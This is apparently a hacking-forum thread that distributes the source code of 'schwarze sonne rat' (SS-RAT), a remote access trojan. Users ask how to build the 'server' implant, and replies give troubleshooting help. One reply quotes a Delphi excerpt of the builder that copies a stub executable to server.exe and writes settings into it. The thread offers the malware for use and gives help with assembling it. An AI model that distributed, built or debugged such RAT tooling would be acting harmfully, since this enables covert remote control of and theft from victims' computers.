Thread: schwarze sonne rat (ss-rat) sources

ss-rat sources from SVN
Latest official revision - 159
Latest revision - 161

@pernat1y, please do not replace the new version with zyklon rat.
merely add that attachment if you choose.
thank you
//cswi

awesome!!!

is this new update

Originally Posted by fuad_2000

is this new update

lol u def cant read...its the source code of ss-rat

where is the 'stub' source code?

You mean the server?, is in the zip

hmpf.jpg how can i fix this? some1 can send me all that file that needs to be in that folder?

use graphics32 package from spynet source/.

Originally Posted by D@rB-15

You mean the server?, is in the zip

No I talk about the client builder. I wanted to build a server and I have error message: "cant copy stub.exe to server.exe".

I have put the server.exe in the client directory but it's not enough.

Originally Posted by skydeath

No I talk about the client builder. I wanted to build a server and I have error message: "cant copy stub.exe to server.exe".

I have put the server.exe in the client directory but it's not enough.

I bet you can read.

if checkbox2.Checked = false then sStubPath := '\stub\stub_nomanifest.exe' else sStubPath := '\stub\stub_manifest.exe';
if FileExists(GetCurrentDir + sStubPath) = false then begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Stub.exe not found! Canceling Process..';
Exit;
end;
if FileExists(GetCurrentDir + '\server.exe') then begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Existing Server.exe found!';
if DeleteFile(GetCurrentDir + '\server.exe') then begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Existing Server.exe deleted!';
end else begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Can''t delete existing Server.exe! Canceling Proces...';
Exit;
end;
end;
if CopyFile(PChar(GetCurrentDir + sStubPath),PChar(GetCurrentDir + '\server.exe'), false) = false then begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Can''t copy Stub.exe to Server.exe! Canceling Process...';
Exit;
end else begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Copied Stub.exe to Server.exe sucessfully!';
end;
if WriteSettings(PChar(GetCurrentDir + '\server.exe'),sString) = true then begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Settings written to Server.exe sucessfully!';
end else begin
redt1.Text := redt1.Text + #13 + '[' + TimeToStr(Time) + '] Can''t write settings to Server.exe! Canceling Process...';
Exit;
end;